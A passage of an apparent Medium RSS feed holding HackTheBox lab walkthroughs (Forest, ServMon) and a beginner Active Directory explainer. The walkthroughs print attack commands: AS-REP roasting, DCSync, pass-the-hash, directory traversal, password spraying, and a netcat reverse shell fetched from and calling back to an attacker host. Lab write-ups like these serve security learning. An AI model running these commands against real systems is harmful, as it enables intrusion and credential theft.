usernames, I could look for accounts that do not require Kerberos pre-authentication.</p><p>This is where <strong>AS-REP Roasting</strong> becomes useful.</p><p>Normally, when a user authenticates using Kerberos, the domain controller requires pre-authentication. However, if an account has Kerberos pre-authentication disabled, an attacker can request an <strong>AS-REP</strong> response without knowing the user’s password.</p><p>The response contains material derived from the user’s password, which can potentially be cracked offline.</p><p>I used GetNPUsers.py to test the discovered users:</p><pre>python3 GetNPUsers.py htb.local/ \<br>-dc-ip 10.129.47.51 \<br>-usersfile /kali/home/Forest/users.txt</pre><p>The attack was successful and returned an AS-REP hash.</p><p>I then used Hashcat to crack the hash.</p><p>For Kerberos 5 AS-REP hashes, Hashcat mode 18200 is used:</p><pre>hashcat -m 18200 hash.txt wordlist.txt</pre><p>The password was successfully recovered:</p><pre>Account password recovered: s3rvice</pre><p>I now had valid credentials for the account:</p><pre>svc-alfresco</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8urEVEJ0nQByBlFwEtyzYw.png" /></figure><h3>Getting a Shell with WinRM</h3><p>Going back to the Nmap results, port <strong>5985</strong> was open:</p><pre>5985/tcp open http Microsoft HTTPAPI httpd 2.0</pre><p>Port 5985 is commonly associated with <strong>Windows Remote Management (WinRM)</strong>.</p><p>Since I now had valid domain credentials, I tested them against WinRM using Evil-WinRM:</p><pre>evil-winrm -i 10.129.49.57 -u svc-alfresco -p s3rvice</pre><p>The authentication succeeded and I obtained a PowerShell session on the target.</p><p>At this point, I had initial access as:</p><pre>svc-alfresco</pre><h3>BloodHound Enumeration</h3><p>Now that I had domain credentials and an authenticated session, the next step was to understand the privileges available to svc-alfresco.</p><p>Rather than blindly attempting privilege escalation, I used <strong>BloodHound</strong> to map the Active Directory relationships.</p><p>The important thing to look for was whether svc-alfresco had an indirect path to higher privileges.</p><p>In BloodHound, I started the pathfinding search from:</p><pre>svc-alfresco</pre><p>and used:</p><pre>HTB.LOCAL</pre><p>as the destination.</p><p>The resulting graph showed a path through group membership and permissions that ultimately led to the domain.</p><p>The important permission in the chain was:</p><pre>WriteDACL</pre><p>This was the key to the next stage.</p><h3>Abusing WriteDACL</h3><p>WriteDACL allows an account to modify the permissions associated with an Active Directory object.</p><p>In this case, the permissions could be modified so that svc-alfresco obtained powerful replication rights over the domain.</p><p>I first added the account to the relevant group:</p><pre>net group &quot;Exchange Windows Permissions&quot; svc-alfresco /add /domain</pre><p>I then prepared PowerView for modifying the domain object’s ACL.</p><pre>cd /usr/share/windows-resources/powersploit/Recon<br>python3 -m http.server 9002</pre><p>After importing the required PowerShell functionality on the target, I used:</p><pre>Get-Command Add-DomainObjectAcl</pre><p>The important operation was then:</p><pre>Add-DomainObjectAcl -TargetIdentity &quot;HTB.LOCAL&quot; `<br>-PrincipalIdentity &quot;svc-alfresco&quot; `<br>-Rights DCSync</pre><p>This grants svc-alfresco the permissions required to perform <strong>DCSync</strong> against the domain.</p><h3>DCSync</h3><p>DCSync abuses Active Directory replication functionality.</p><p>Normally, domain controllers use replication to synchronize directory information with one another. Accounts with the appropriate replication permissions can request this information as though they were another domain controller.</p><p>This can include password hashes for domain accounts.</p><p>To demonstrate this, I created another domain account:</p><pre>net user john abc123! /add /domain</pre><p>and added it to the relevant group:</p><pre>net group &quot;Exchange Windows Permissions&quot; john /add</pre><p>I then used Impacket’s secretsdump to request the domain credential material:</p><pre>impacket-secretsdump HTB.LOCAL/john:&#39;abc123!&#39;@10.129.52.183</pre><p>The output included the NTLM hash for the domain Administrator account:</p><pre>htb.local\Administrator:500:<br>aad3b435b51404eeaad3b435b51404ee:<br>32693b11e6aa90eb43d32c72a07ceea6</pre><p>The important value here is the NTLM hash:</p><pre>32693b11e6aa90eb43d32c72a07ceea6</pre><p>At this point, I had the Administrator’s NTLM hash and did not need to recover the plaintext Administrator password.</p><h3>Final Step: Pass-the-Hash with Evil-WinRM</h3><p>Because WinRM was available on the target, I could use the Administrator’s NTLM hash for a <strong>Pass-the-Hash</strong> authentication.</p><pre>evil-winrm -i 10.129.52.183 \<br>-u Administrator \<br>-H 32693b11e6aa90eb43d32c72a07ceea6</pre><p>The authentication succeeded, giving me an Administrator PowerShell session:</p><pre>*Evil-WinRM* PS C:\Users\Administrator\Documents&gt;</pre><p>This completed the attack chain.</p><p>The overall path was:</p><pre>Anonymous LDAP Enumeration<br>        ↓<br>Domain User Enumeration<br>        ↓<br>AS-REP Roasting<br>        ↓<br>Recover svc-alfresco Password<br>        ↓<br>WinRM Access<br>        ↓<br>BloodHound Enumeration<br>        ↓<br>Abuse WriteDACL<br>        ↓<br>Grant DCSync Privileges<br>        ↓<br>DCSync Administrator Hash<br>        ↓<br>Pass-the-Hash<br>        ↓<br>Domain Administrator</pre><p>The main lesson from this machine is that Active Directory privilege escalation is often about <strong>chaining seemingly small permissions together</strong>. An exposed LDAP service allowed user enumeration, an account with disabled Kerberos pre-authentication allowed AS-REP roasting, and the resulting account’s Active Directory permissions ultimately provided a path to DCSync and full domain compromise.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dbef2683861b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB_LABS:ServMon]]></title>
            <link>https://medium.com/@sethiuddhav/htb-labs-servmon-b600892e4687?source=rss-c82ff8e6b08d------2</link>
            <guid isPermaLink="false">https://medium.com/p/b600892e4687</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[servmon]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Uddhav Sethi]]></dc:creator>
            <pubDate>Thu, 02 Jul 2026 05:45:19 GMT</pubDate>
            <atom:updated>2026-07-02T05:45:19.920Z</atom:updated>
            <content:encoded><![CDATA[<h3>Enumeration</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/823/1*3dBFD5icNY8_YeDRoxo3eA.png" /></figure><p>Since the FTP service was exposed, I first checked whether anonymous authentication was enabled. Using the username anonymous, I was able to log in successfully without valid user credentials.</p><p>After enumerating the accessible directories, I discovered two user folders belonging to <strong>Nadine</strong> and <strong>Nathan</strong>. Each directory contained files that could be downloaded for further analysis.</p><p>One of the files in Nadine’s directory contained an interesting note addressed to Nathan. The note mentioned that a file named <strong>passwords.txt</strong> had been uploaded to Nathan&#39;s Desktop. This suggested that sensitive credentials might be stored elsewhere on the system and provided a valuable lead for the next stage of enumeration.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/768/1*UonVR4hW9wp49vFHvGVrPw.png" /></figure><p>Lets check the files</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Av1fZZ8FHYmgv8BdZZi93g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/420/1*aL3xeFFEGorueECm-zXLqg.png" /></figure><p>With FTP fully enumerated, I shifted my focus to the web service running on <strong>port 80</strong>.</p><p>After browsing the application, I identified it as <strong>NVMS-1000</strong>, a video management system. The footer and page characteristics revealed the software in use.</p><p>The next step was to identify whether the application had any publicly known vulnerabilities. A quick search revealed that the version was affected by <strong>CVE-2019–20085</strong>, an <strong>unauthenticated directory traversal vulnerability</strong>. This vulnerability allows a remote attacker to read arbitrary files from the underlying file system without requiring valid credentials.</p><p>This immediately caught my attention because of the information I had previously discovered through anonymous FTP access. Nadine’s note mentioned that a file named <strong>passwords.txt</strong> had been uploaded to Nathan&#39;s Desktop. If the directory traversal vulnerability worked as expected, I could potentially read that file directly from the web server without authenticating, making it the logical next step in the attack chain.</p><h3>Initial Foothold</h3><p>While enumerating the web server, I discovered that the application was vulnerable to a <strong>directory traversal</strong> vulnerability. Exploiting it allowed me to read arbitrary files from the underlying Windows file system.</p><p>Using the following request, I was able to access Nathan’s desktop and retrieve a file named <strong>Passwords.txt</strong>:</p><pre>curl --path-as-is &quot;http://10.129.227.77/../../../../../../../../../../../../Users/Nathan/Desktop/Passwords.txt&quot;</pre><p>The file contained several potential passwords:</p><pre>1nsp3ctTh3Way2Mars!<br>Th3r34r3To0M4nyTrait0r5!<br>B3WithM30r4ga1n5tMe<br>L1k3B1gBut7s@W0rk<br>0nly7h3y0unGWi11F0l10w<br>IfH3s4b0Utg0t0H1sH0me<br>Gr4etN3w5w17hMySk1Pa5$</pre><p>Since I already had a list of valid usernames from the anonymous FTP share, I performed a password spray against the SSH service using <strong>NetExec</strong>.</p><pre>nxc ssh 10.129.227.77 -u users.txt -p passwords.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*kOb3ylKhWwrQ7RJQwlXy8w.png" /></figure><p>The spray was successful and revealed valid credentials for the user <strong>Nadine</strong>:</p><pre>Nadine:L1k3B1gBut7s@W0rk</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/930/1*Npvn0MBetYDT0ZjEFhOSbQ.png" /></figure><p>Using these credentials, I logged in over SSH and obtained the <strong>user flag</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/374/1*yoz3YdGXxvCMljpfKZHu1Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/923/1*v-zfGmTI-CyE815htiLHzg.png" /></figure><h3>Privilege Escalation</h3><p>While enumerating the system after gaining access as Nadine, I found an interesting application installed on the machine: <strong>NSClient++</strong>.</p><p>Inspecting its configuration file revealed an undocumented administrator password stored in plaintext:</p><pre>password = ew2x6SsGTxjRwXOT</pre><p>This immediately caught my attention because <strong>NSClient++</strong> provides a web management interface and older versions are known to be vulnerable to privilege escalation.</p><p>Earlier during enumeration I had also identified that the service was running on <strong>TCP port 8443</strong>, but it was only bound to <strong>localhost (127.0.0.1)</strong>. Since it wasn’t directly accessible remotely, I used SSH local port forwarding to expose it on my Kali machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P-hORJtCulgFuveQ7u29NA.png" /></figure><pre>ssh -L 8443:127.0.0.1:8443 nadine@10.129.177.28</pre><p>Used port forwarding.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9kYj0v-Tn_NznbSPnRZs8A.png" /></figure><p>After forwarding the port, I was able to browse to:</p><pre>https://127.0.0.1:8443</pre><p>and authenticate using the password extracted from nsclient.ini.</p><p>To obtain code execution, I first transferred <strong>Netcat</strong> to the target using a temporary Python web server hosted from my Kali machine.</p><pre>powershell -c &quot;Invoke-WebRequest http://10.10.14.30:8000/nc.exe -OutFile C:\Temp\nc.exe&quot;</pre><p>Next, I created a simple batch file that would launch a reverse shell back to my attacking machine.</p><pre>echo @echo off &gt; C:\Temp\evil.bat<br>echo C:\Temp\nc.exe 10.10.14.30 443 -e cmd.exe &gt;&gt; C:\Temp\evil.bat</pre><p>Rather than relying on the graphical interface, I used the <strong>NSClient++ REST API</strong> to upload the batch file.</p><pre>curl -k -u admin:ew2x6SsGTxjRwXOT \<br>-X PUT https://127.0.0.1:8443/api/v1/scripts/ext/scripts/evil.bat \<br>--data-binary @evil.bat</pre><p>The server responded:</p><pre>Added evil as scripts\evil.bat</pre><p>With a Netcat listener waiting on my Kali machine, I executed the uploaded script through the NSClient++ API. Since the <strong>NSClient++ service runs as NT AUTHORITY\SYSTEM</strong>, the reverse shell connected back with SYSTEM privileges, allowing me to retrieve the <strong>root flag</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/644/1*vLcjpEZS5uo-1xsps-3cvg.png" /></figure><p>Got the root.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b600892e4687" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Understanding Active Directory]]></title>
            <link>https://medium.com/@sethiuddhav/understanding-active-directory-ef81391139d7?source=rss-c82ff8e6b08d------2</link>
            <guid isPermaLink="false">https://medium.com/p/ef81391139d7</guid>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Uddhav Sethi]]></dc:creator>
            <pubDate>Mon, 29 Jun 2026 09:42:05 GMT</pubDate>
            <atom:updated>2026-06-29T09:42:05.833Z</atom:updated>
            <content:encoded><![CDATA[<h3>Active Directory Basics Explained for Beginners</h3><p>Before learning Active Directory, imagine you’re the IT administrator of a company called <strong>TechCorp</strong>.</p><p>TechCorp has:</p><ul><li>2,000 employees-500 computers</li><li>Printers</li><li>Wi-Fi</li><li>File servers</li></ul><p>Now imagine every computer keeps its own list of usernames and passwords.</p><p>If Alex changes their password, you’d have to update it on all 500 computers.</p><p>If a new employee joins, you’d have to create an account on every computer.</p><p>That would quickly become impossible.</p><p>Microsoft solved this problem using <strong>Active Directory</strong>.</p><h3>What is a Domain?</h3><p>A <strong>Domain</strong> is simply a group of users, computers, and other network resources that are managed together.</p><p>Think of it as one big workplace.</p><p>For example, TechCorp creates a domain called:</p><pre>techcorp.local</pre><p>Inside this domain are:</p><pre>techcorp.local</pre><pre>├── Employees<br>├── Computers<br>├── Printers<br>├── Servers<br>└── Shared Resources</pre><p>Everything belongs to the same domain.</p><p>The biggest advantage is that employees only need <strong>one username and one password</strong>.</p><p>For example:</p><pre>Username: alex<br>Password: ********</pre><p>Alex can now log into <strong>any computer</strong> that belongs to the domain.</p><p>There’s no need to create a separate account on every PC.</p><p>So remember:</p><blockquote><em>A </em><strong><em>Domain</em></strong><em> is simply a group of users, computers, and resources managed together.</em></blockquote><h3>What is a Domain Controller?</h3><p>Now imagine someone has to remember:</p><ul><li>Every employee’s password</li><li>Every computer</li><li>Every printer</li><li>Who is allowed to access what</li></ul><p>Who keeps all this information?</p><p>A special server does.</p><p>This server is called the <strong>Domain Controller (DC).</strong></p><p>Think of it as the <strong>brain of the domain</strong>.</p><p>Whenever Alex logs into a computer, this happens:</p><pre>Alex sits at PC-101</pre><pre>↓</pre><pre>PC asks:<br>&quot;Do you know Alex?&quot;</pre><pre>↓</pre><pre>Domain Controller checks its database</pre><pre>↓</pre><pre>✔ Yes</pre><pre>↓</pre><pre>Alex logs in</pre><p>The Domain Controller stores information about:</p><ul><li>Users</li><li>Passwords</li><li>Computers</li><li>Groups</li><li>Permissions</li></ul><p>Without the Domain Controller, nobody can verify whether Alex is really an employee.</p><p>So remember:</p><blockquote><em>The </em><strong><em>Domain Controller</em></strong><em> is the server that controls the entire domain.</em></blockquote><h3>What is an Organizational Unit (OU)?</h3><p>Imagine someone throws all 2,000 employees and 500 computers into one giant list.</p><p>Finding anything would be difficult.</p><p>Instead, we organize everything into folders.</p><p>Those folders are called <strong>Organizational Units (OUs).</strong></p><p>Example:</p><pre>techcorp.local</pre><pre>├── Human Resources<br>├── Finance<br>├── IT<br>├── Sales<br>└── Marketing</pre><p>Inside the IT OU:</p><pre>IT</pre><pre>├── Alex<br>├── Jordan<br>├── PC-101<br>├── PC-102<br>└── Server-01</pre><p>Inside Finance:</p><pre>Finance</pre><pre>├── Emma<br>├── Liam<br>└── FIN-PC01</pre><p>Notice something?</p><p>An OU doesn’t create new users.</p><p>It simply helps organize them.</p><p>Think of an OU exactly like folders on your computer.</p><h3>What is a Tree?</h3><p>Now imagine TechCorp expands and opens offices in different countries.</p><p>India office:</p><pre>india.techcorp.local</pre><p>UK office:</p><pre>uk.techcorp.local</pre><p>Both still belong to TechCorp.</p><pre>techcorp.local<br>│<br>├── india.techcorp.local<br>└── uk.techcorp.local</pre><p>Since they all share the same main name (<strong>techcorp.local</strong>), they form a <strong>Tree</strong>.</p><p>So remember:</p><blockquote><em>A </em><strong><em>Tree</em></strong><em> is a group of related domains that share the same main name.</em></blockquote><h3>What is a Forest?</h3><p>Now imagine TechCorp acquires another company.</p><p>That company already has its own domain:</p><pre>innovatex.local</pre><p>Now there are two different domain families:</p><pre>techcorp.local</pre><pre>innovatex.local</pre><p>The names are different, but they can still work together under one Active Directory environment.</p><p>This collection is called a <strong>Forest</strong>.</p><pre>Forest</pre><pre>├── techcorp.local<br>│     ├── india.techcorp.local<br>│     └── uk.techcorp.local<br>│<br>└── innovatex.local</pre><p>So remember:</p><blockquote><em>A </em><strong><em>Forest</em></strong><em> is a collection of one or more trees.</em></blockquote><h3>The Easy Way to Remember Everything</h3><p>Think of it like this:</p><pre>Forest<br>    ↓<br>A group of companies</pre><pre>Tree<br>    ↓<br>One company with multiple related domains</pre><pre>Domain<br>    ↓<br>One organization&#39;s network</pre><pre>OU<br>    ↓<br>Departments like HR, IT, Finance</pre><pre>Users &amp; Computers<br>    ↓<br>The actual employees and devices</pre><p>And don’t forget the <strong>Domain Controller</strong>.</p><p>It is the <strong>brain</strong> of the domain.</p><p>Whenever someone tries to log in, the computer asks the Domain Controller:</p><blockquote><em>“Is this person a valid user?”</em></blockquote><p>If the answer is yes, access is granted.</p><p>If not, access is denied.</p><h3>Quick Revision</h3><ul><li><strong>Domain</strong> → A group of users, computers, and resources managed together.</li><li><strong>Domain Controller (DC)</strong> → The server that stores Active Directory and verifies logins.</li><li><strong>OU (Organizational Unit)</strong> → A folder used to organize users and computers.</li><li><strong>Tree</strong> → A group of related domains that share the same namespace.</li><li><strong>Forest</strong> → A collection of one or more trees.</li></ul><p>Now lets move forward</p><h3>DNS, SRV Records, LDAP, and Distinguished Names Explained for Beginners</h3><p>When people start learning Active Directory, they often hear terms like <strong>DNS</strong>, <strong>LDAP</strong>, <strong>SRV Records</strong>, and <strong>Distinguished Names (DN)</strong>. They sound complicated, but they’re actually simple once you understand what problem each one solves.</p><p>Let’s learn them one by one.</p><h3>What is DNS?</h3><p>Before talking about Active Directory, let’s understand DNS.</p><p>Imagine your friend asks:</p><blockquote><em>“Where does Alex live?”</em></blockquote><p>You probably don’t reply with GPS coordinates.</p><p>You reply with an address.</p><p>DNS works the same way.</p><p>Instead of remembering IP addresses like:</p><pre>192.168.1.10</pre><p>we use easy-to-remember names like:</p><pre>techcorp.local</pre><p>DNS (Domain Name System) is like the <strong>internet’s phonebook</strong>.</p><p>It translates names into IP addresses.</p><p>For example:</p><pre>techcorp.local</pre><pre>↓</pre><pre>192.168.1.10</pre><p>Without DNS, computers would have to remember IP addresses instead of names.</p><h3>Why Does Active Directory Need DNS?</h3><p>Imagine a new computer joins the company network.</p><p>The user enters:</p><pre>Username: alex<br>Password: ********</pre><p>The computer now needs to ask the Domain Controller if Alex is a valid user.</p><p>But there’s a problem.</p><p>The computer doesn’t know where the Domain Controller is.</p><p>So it asks DNS:</p><pre>&quot;Where is the Domain Controller for techcorp.local?&quot;</pre><p>DNS replies:</p><pre>192.168.1.10</pre><p>Now the computer knows where to send the login request.</p><p>Without DNS, computers wouldn’t know how to find the Domain Controller.</p><h3>What is an SRV Record?</h3><p>Now imagine the Domain Controller provides many services.</p><p>For example:</p><ul><li>Authentication (Kerberos)</li><li>Directory lookups (LDAP)</li><li>Global Catalog</li><li>Password changes</li></ul><p>The computer doesn’t just need the server’s address.</p><p>It also needs to know:</p><blockquote><em>“Which server provides the service I need?”</em></blockquote><p>That’s where <strong>SRV (Service) Records</strong> come in.</p><p>An SRV record tells computers:</p><blockquote><em>“If you’re looking for this service, here’s the server that provides it.”</em></blockquote><p>Think of it like a company directory.</p><pre>Reception<br>↓</pre><pre>Need HR?</pre><pre>Go to Room 101.</pre><pre>Need Finance?</pre><pre>Go to Room 205.</pre><pre>Need IT?</pre><pre>Go to Room 310.</pre><p>SRV records work the same way.</p><h3>Common SRV Records in Active Directory</h3><p>When a computer joins a domain or a user logs in, it queries DNS for SRV records such as:</p><pre>_ldap._tcp.techcorp.local</pre><p>Meaning:</p><blockquote><em>“Which server provides LDAP?”</em></blockquote><p>DNS replies:</p><pre>dc01.techcorp.local<br>192.168.1.10</pre><p>Similarly,</p><pre>_kerberos._tcp.techcorp.local</pre><p>asks:</p><blockquote><em>“Which server provides Kerberos authentication?”</em></blockquote><p>DNS returns the Domain Controller that offers the Kerberos service.</p><p>Another important SRV record is:</p><pre>_gc._tcp.techcorp.local</pre><p>This asks:</p><blockquote><em>“Which server is the Global Catalog?”</em></blockquote><p>Again, DNS returns the appropriate Domain Controller.</p><p>So remember:</p><blockquote><em>DNS doesn’t perform LDAP or Kerberos.</em></blockquote><blockquote><em>It simply tells computers </em><strong><em>which Domain Controller provides those services.</em></strong></blockquote><h3>What is LDAP?</h3><p>LDAP stands for <strong>Lightweight Directory Access Protocol</strong>.</p><p>The name sounds scary, but the idea is simple.</p><p>Imagine a company has thousands of employees.</p><p>Someone asks:</p><blockquote><em>“Can you find Alex’s account?”</em></blockquote><p>Active Directory stores all the employee information.</p><p>LDAP is the language used to search that information.</p><p>Think of it like SQL for a database.</p><p>You ask a question.</p><p>LDAP returns the answer.</p><p>For example:</p><pre>Find user Alex</pre><pre>↓</pre><pre>Active Directory searches</pre><pre>↓</pre><pre>Alex found<br>Department: IT<br>Email: alex@techcorp.local</pre><p>So remember:</p><blockquote><em>Active Directory stores the information.</em></blockquote><blockquote><em>LDAP is the protocol used to search and retrieve that information.</em></blockquote><h3>What is a Distinguished Name (DN)?</h3><p>Imagine there are two employees named Alex.</p><p>How do we know which Alex we’re talking about?</p><p>We use the employee’s full location.</p><p>Think of your postal address.</p><pre>Alex</pre><pre>IT Department</pre><pre>TechCorp</pre><pre>India</pre><p>Together, that uniquely identifies one person.</p><p>Active Directory works the same way.</p><p>Every object has a complete path called a <strong>Distinguished Name (DN).</strong></p><p>Example:</p><pre>CN=Alex,<br>OU=IT,<br>DC=techcorp,<br>DC=local</pre><p>This tells us exactly where Alex is located inside Active Directory.</p><h3>What Does CN Mean?</h3><p><strong>CN</strong> stands for <strong>Common Name</strong>.</p><p>It is simply the object’s name.</p><p>Example:</p><pre>CN=Alex</pre><p>This means the object’s name is Alex.</p><h3>What Does OU Mean?</h3><p><strong>OU</strong> stands for <strong>Organizational Unit</strong>.</p><p>It tells us which folder or department the object belongs to.</p><p>Example:</p><pre>OU=IT</pre><p>This means Alex is inside the IT Organizational Unit.</p><h3>What Does DC Mean?</h3><p><strong>DC</strong> stands for <strong>Domain Component</strong>.</p><p>Each part of the domain name becomes one Domain Component.</p><p>Example domain:</p><pre>techcorp.local</pre><p>becomes</p><pre>DC=techcorp,<br>DC=local</pre><p>If the domain were:</p><pre>corp.techcorp.local</pre><p>it would become:</p><pre>DC=corp,<br>DC=techcorp,<br>DC=local</pre><p>Each section of the domain becomes one <strong>DC</strong>.</p><h3>Putting It All Together</h3><p>Suppose Alex works in the IT department.</p><p>The full Distinguished Name becomes:</p><pre>CN=Alex,<br>OU=IT,<br>DC=techcorp,<br>DC=local</pre><p>Read it like a postal address:</p><ul><li><strong>CN=Alex</strong> → The person’s name</li><li><strong>OU=IT</strong> → They belong to the IT department</li><li><strong>DC=techcorp</strong> → The organization</li><li><strong>DC=local</strong> → The domain suffix</li></ul><p>This path uniquely identifies Alex inside Active Directory.</p><h3>Quick Revision</h3><ul><li><strong>DNS</strong> → Converts names into IP addresses and helps computers locate Domain Controllers.</li><li><strong>SRV Record</strong> → A special DNS record that tells clients which server provides a specific service like LDAP, Kerberos, or the Global Catalog.</li><li><strong>LDAP</strong> → The protocol used to search and retrieve information from Active Directory.</li><li><strong>CN (Common Name)</strong> → The object’s name.</li><li><strong>OU (Organizational Unit)</strong> → The folder or department where the object is stored.</li><li><strong>DC (Domain Component)</strong> → One part of the domain name.</li><li><strong>Distinguished Name (DN)</strong> → The complete path that uniquely identifies an object in Active Directory.</li></ul><h3>Where Does Active Directory Store All This Information?</h3><p>We’ve learned that Active Directory stores information about users, computers, groups, passwords, and Organizational Units.</p><p>But where is all this information actually stored?</p><p>It is stored in a database file called <strong>NTDS.dit</strong>.</p><p>Think of <strong>Active Directory</strong> as a library.</p><ul><li>The <strong>Domain Controller</strong> is the building.</li><li><strong>Active Directory</strong> is the library system that organizes everything.</li><li><strong>NTDS.dit</strong> is the database that contains all the records.</li></ul><p>Inside the NTDS.dit database are objects such as:</p><ul><li>Users</li><li>Computers</li><li>Groups</li><li>Organizational Units (OUs)</li><li>Password hashes</li><li>Group memberships</li></ul><p>Whenever someone logs in, searches for a user using LDAP, or checks permissions, the Domain Controller reads information from the NTDS.dit database.</p><p>In short:</p><ul><li><strong>Active Directory</strong> is the directory service.</li><li><strong>NTDS.dit</strong> is the database file where Active Directory stores its data.</li><li><strong>The Domain Controller</strong> is the server that hosts and manages Active Directory.</li></ul><h3>Active Directory Infrastructure</h3><p>we’ll cover <strong>6 major topics</strong>:</p><ol><li>Group Policy (GPO)</li><li>SYSVOL</li><li>NETLOGON</li><li>Global Catalog</li><li>FSMO Roles</li><li>Active Directory Replication</li></ol><h3><strong>Part 1 — Group Policy (GPO)</strong></h3><p>The company has:</p><pre>500 Employees</pre><pre>500 Computers</pre><p>The CEO says:</p><blockquote><em>Disable USB drives on every computer.</em></blockquote><p>How would you do it?</p><p>Option 1:</p><p>Walk to every PC.</p><p>Disable USB.</p><p>Repeat 500 times.</p><p>Instead of configuring each PC individually…</p><p>Configure <strong>one policy</strong>.</p><p>Every PC automatically applies it.</p><p>That is <strong>Group Policy</strong>.</p><p>Question.</p><p><strong>Does the Domain Controller remote-control every PC?</strong></p><p>No.</p><p>Each Windows computer periodically contacts the Domain Controller, downloads the applicable GPOs, and applies them locally.</p><p>So the client does the work.</p><h3>Where Are GPOs Stored?</h3><p>This brings us to…</p><h3>Part 2 — SYSVOL</h3><p>Remember earlier we asked:</p><blockquote><em>Where are GPOs stored?</em></blockquote><blockquote>Answer:</blockquote><p>Inside a shared folder called</p><pre>SYSVOL</pre><h3>Think of a School</h3><p>Teacher says</p><blockquote><em>Download tomorrow’s homework.</em></blockquote><p>Where?</p><p>Notice board.</p><p>SYSVOL is the company’s notice board.</p><h3>Why Is SYSVOL Shared?</h3><p>Every Domain Controller has a SYSVOL.</p><p>All Domain Controllers keep their SYSVOL contents synchronized through replication.</p><p>That way, no matter which Domain Controller a client contacts, it gets the same policies.</p><p>Attackers love SYSVOL because it’s often readable by authenticated users.</p><p>Sometimes you’ll find:</p><ul><li>Login scripts</li><li>Configuration files</li><li>Old passwords left in scripts (misconfigurations)</li><li>Other useful information</li></ul><p>A well-configured environment shouldn’t expose secrets there, but it’s a common place to look during enumeration.</p><h3>Part 3 — NETLOGON</h3><p>Another shared folder.</p><p>People often confuse it with SYSVOL.</p><p>Difference:</p><p>SYSVOL</p><p>↓</p><p>Stores Group Policy and related files.</p><p>NETLOGON</p><p>↓</p><p>Stores logon scripts and files that clients may need during the logon process.</p><p>Example:</p><p>Company wants every employee to automatically map:</p><pre>Z:</pre><p>to</p><pre>\\fileserver\finance</pre><p>A logon script can do that.</p><h3>Global Catalog</h3><p>Think of it as:</p><p>A company directory.</p><p>Analogy:</p><p>Your phone contacts.</p><p>Instead of calling every person asking:</p><blockquote><em>Where is Rahul?</em></blockquote><blockquote>You search:</blockquote><pre>Rahul</pre><p>Instant result.</p><p>The Global Catalog works similarly.</p><h3>Does It Store Everything?</h3><p>No.</p><p>It stores:</p><ul><li>Every object from every domain in the forest.</li><li>Only a subset of each object’s attributes.</li></ul><p>Why?</p><p>To make searches fast without copying every detail.</p><p>If more information is needed, the client can contact the appropriate Domain Controller.</p><p>Example:</p><p>Search:</p><pre>John</pre><p>Global Catalog replies:</p><pre>John</pre><pre>Works in USA</pre><pre>Email</pre><pre>Department</pre><p>Need more?</p><p>Ask the USA Domain Controller.</p><h3>Part 5 — FSMO Roles</h3><p>You have:</p><pre>DC01<br>DC02<br>DC03</pre><p>Are they all identical?</p><p>Almost…</p><p>But not completely.</p><p>Some tasks <strong>cannot</strong> be performed by multiple Domain Controllers at the same time.</p><p>Imagine two Domain Controllers changing the same password at exactly the same moment.</p><p>Chaos.</p><p>Microsoft solved this with <strong>FSMO roles</strong>.</p><p>FSMO means:</p><pre>Flexible Single Master Operations</pre><p>There are <strong>five</strong> FSMO roles.</p><h3>Windows Authorization</h3><p>we’ll cover:</p><ol><li>Security Identifiers (SIDs)</li><li>Security Descriptors</li><li>ACLs</li><li>ACEs</li><li>DACLs</li><li>SACLs</li><li>Access Tokens (Deep Dive)</li><li>Effective Permissions</li></ol><h3>Security Descriptor</h3><p>Imagine every file has a document attached.</p><p>Example:</p><pre>secret.docx</pre><p>Attached paper says:</p><pre>Owner</pre><pre>Alice</pre><pre>Permissions</pre><pre>Read</pre><pre>Write</pre><pre>Delete</pre><p>Windows stores this information in a</p><pre>Security Descriptor</pre><h3>ACL (Access Control List)</h3><p>Suppose your house has this rule.</p><pre>Mom</pre><pre>Can Enter</pre><pre>Dad</pre><pre>Can Enter</pre><pre>Strangers</pre><pre>Cannot Enter</pre><p>That’s an ACL.</p><p>ACL simply means:</p><pre>List<br>↓<br>Who can do what</pre><h3>ACE (Access Control Entry)</h3><p>Imagine:</p><p>ACL</p><p>↓</p><p>Contains:</p><pre>Alice<br>Read</pre><p>Another.</p><pre>Bob<br>Write</pre><p>Another.</p><pre>Finance<br>Modify</pre><p>Each one is one</p><pre>ACE</pre><p>Access Control Entry.</p><h3>DACL</h3><p>There are actually two ACLs.</p><p>The first is</p><pre>DACL</pre><pre>Discretionary Access Control List</pre><p>This is the one everyone talks about.</p><p>It answers:</p><pre>Who may access this object?</pre><p>Example.</p><pre>Finance</pre><pre>Read</pre><pre>Managers</pre><pre>Modify</pre><pre>Admins</pre><pre>Full Control</pre><p>That’s the DACL.</p><h3>SACL</h3><p>Another list.</p><pre>System Access Control List</pre><p>Instead of permissions…</p><p>It controls auditing.</p><p>Example.</p><pre>Log</pre><pre>Every Delete</pre><pre>Log</pre><pre>Every Failed Login</pre><pre>Log</pre><pre>Permission Changes</pre><p>SACL is about</p><p>Monitoring.</p><p>Not permissions.</p><h3>How Windows 